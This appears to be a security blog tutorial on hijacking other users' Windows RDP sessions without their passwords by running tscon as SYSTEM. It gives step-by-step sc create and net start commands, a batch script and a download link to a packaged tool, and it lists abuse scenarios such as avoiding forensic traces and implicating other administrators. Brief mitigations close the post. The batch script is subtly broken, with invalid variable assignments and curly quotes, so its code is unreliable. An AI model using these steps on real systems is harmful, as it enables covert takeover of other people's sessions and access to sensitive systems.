Password-less Remote Desktop Protocol (RDP) Session Hijacking

What is Remote Desktop Protocol (RDP)

Remote Desktop Protocol (RDP) is a proprietary protocol developed by Microsoft, which provides a user with a graphical interface to connect to another computer over a network connection. The user employs RDP client software for this purpose, while the other computer must run the RDP server software.

Everyone who tried to connect to another computer, primarily used the Remote Desktop Service or Terminal Service for connection. If you used this service, then you already know that Remote Desktop Service has a feature where you connect to another user’s session if you know their password.

Did you know you can also hijack a session without the user password?

Before learning the exploitation procedure first, we understand the Tscon the main window feature that allow us to hijack window session without password.

What is Tscon?

Tscon is a window feature that connect to another session on a Remote Desktop session Host server.

Syntax

tscon {<SessionID> | <SessionName>} [/dest:<SessionName>] [/password:<pw> | /password:*] [/v]

Remarks

• You must have Full Control access permission or Connect special access permission to connect to another session.
• The /dest:<SessionName> parameter allows you to connect the session of another user to a different session.
• If you do not specify a password in the <Password> parameter, and the target session belongs to a user other than the current one, tscon fails.
• You cannot connect to the console session.

Remote Desktop Services to gain lateral movement through a network using Window features

This hack revealed by researcher Benjamin Delpy (author of Mimikatz) and Alexander Korznikov. According to Benjamin Delpy, this is due to the way session shadowing was implemented in Microsoft Windows.

Now the question in your mind, if you are SYSTEM, you already have full rights to do anything. So why we need this?

Yes, you can, but the objective is to do malicious activity piggy-backing on another user’s session – thus avoiding forensic traces. Dumping passwords from the memory is a noisy (forensically) process as compared to just running tscon.exe with a session number. You don’t require any custom tools but a standard Windows EXE to hijack another user’s session.

Threat Scenarios exploiting this technique

• Hijack older sessions of administrators on the system.
• This technique can also be used to unlock locked sessions.
• IT admin can hijack a business user’s session to access sensitive systems in an organization.
• Disgruntled administrator can implicate other administrators of accessing certain systems by hijacking his session and performing unauthorized activities.

There are huge number of scenarios like this.

Most importantly, for the above scenarios, an attacker doesn’t need tools like Metasploit, mimikatz etc, which is commonly used for user’s token manipulation and impersonating logged in users. Everything is done with built-in commands. Every admin can impersonate any logged in user either locally with physical access or remotely via Remote Desktops (see PoC).

Proof of Concept

After getting NT AUTHORITY/SYSTEM command line follow below steps to use another user profile without password.

Step1: Right click on “Window Task Manager” in the tab “Users” to get the list of available sessions that can be used.

Step 2: The same information can be obtained from the command line.

Step 3: Creating a service that will execute tscon with system level privileges will hijack the session that has 3 as ID.

CMD:  sc create sesshijack binpath= “cmd.exe /k tscon 3 /dest:rdp-tcp#0”

Step 4: After creating a service start that service by below mentioned command.

CMD: net start sesshijack

Step 5: When the service starts the user “adminmanager” can use the session of “adminlowprivilege” without knowing his password.

Passwordless Hijacking in Window 10 by Physical Access

An attacker can access other user profile without password in Win 10 by the same procedure mentioned above but the only difference is that attacker get system privilege by physical access to the workstation.

Step 1: The list of available sessions that can be used can be retrieved from the cmd.

CMD: query user

Step 2: Creating a service that will execute tscon with system level privileges will hijack the session that has 4 as ID.

CMD:  sc create sesshijack binpath= “cmd.exe /k tscon 4 /dest:console”

Step 3: After creating a service start that service by below mentioned command.

CMD: net start sesshijack

Step 4: When the service starts the user “310” can use the session of “test” without knowing his password.

Automate this Process by Batch Script

I have automated this procedure by batch script and then converted that batch script to .exe. Which help us not to remember the command anymore, just you want to run that .exe file and enter the asked information and boom!! You got another user session.

Batch Code:

@echo off
:Ask
query user
set /p id=Enter ID Number:
set /p sn=Enter Session Name:
set /p an=Enter Any Name of Session (example:sessionhijacking):
%serv% = sc create %an% binpath= “cmd.exe /k tscon %id% /dest:%sn%”
%se% = net start %an%

Copy the above code and paste it in Notepad and then save it with any file name (example: RDP_SessionHijacking.bat) or download exe file from below link and execute it by double click on it.

Download RDP_SessionHijacking EXE

https://github.com/crazywifi/RDP_SessionHijacking

Same procedure tested on:

Windows 2016

Windows 2012 R2

Windows 2008

Windows 10

Windows 7

Mitigations

• Group Policy: It is recommended to use Group Policy to log off disconnected sessions, either immediately or soon after the user disconnects.
• Don’t expose RDS/RDP to the internet: If you do, I strongly suggest you implement multi-factor authentication. You can use things like Microsoft RD Gateway or Azure Multi-Factor Authentication Server to get very low-cost multi-factor authentication. If you’re exposing RDP directly to the internet and somebody creates a local user, or your domain users have easy to guess or reused credentials, things will go downhill fast.

My suggestion is you alert for other related behaviour using the Event Log and tools like Microsoft OMS, Windows Event Forwarding, Splunk etc. You’re looking for SYSTEM being misused.

For example, abnormal Service creation and abnormal scheduled task creation should be logged centrally and recorded against.

References 

• https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc770988(v=ws.11)
• http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html
  https://github.com/crazywifi/RDP_SessionHijacking